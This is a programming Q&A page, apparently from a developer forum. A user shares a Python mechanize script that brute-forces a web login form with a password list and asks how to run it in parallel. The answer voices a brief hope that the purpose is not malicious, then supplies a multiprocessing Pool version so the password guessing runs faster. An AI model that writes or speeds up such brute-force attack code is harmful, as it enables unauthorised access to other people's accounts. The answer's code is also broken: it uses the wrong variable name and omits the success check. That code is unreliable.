Search code examples
pythonmultiprocessingmechanize-python

How to use multiprocessing in a for loop - python


I have a script that use python mechanize and bruteforce html form. This is a for loop that check every password from "PassList" and runs until it matches the current password by checking the redirected url. How can i implement multiprocessing here

for x in PasswordList:          
    br.form['password'] = ''.join(x)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

    if response.geturl()=="http://192.168.1.106/success.html":
        #url to which the page is redirected after login
        print "\n Correct password is ",''.join(x)
        break

Solution

  • I do hope this is not for malicious purposes.

    I've never used python mechanize, but seeing as you have no answers I can share what I know, and you can modify it accordingly.

    In general, it needs to be its own function, which you then call pool over. I dont know about your br object, but i would probably recommend having many of those objects to prevent any clashing. (Can try with the same br object tho, modify code accordingly)

    list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]
    
    from multiprocessing import Pool
    from multiprocessing import cpu_count
    
    def crackPassword(lst):
        br_obj = lst[0]
        password = lst[1]
        br.form['password'] = ''.join(password)
        print "Bruteforce in progress.. checking : ",br.form['password']
        response=br.submit()
    
     pool = Pool(cpu_count() * 2)
     crack_password = pool.map(crackPassword,list_of_br_and_passwords)
     pool.close()
    

    Once again, this is not a full answer, just a general guideline on how to do multiprocessing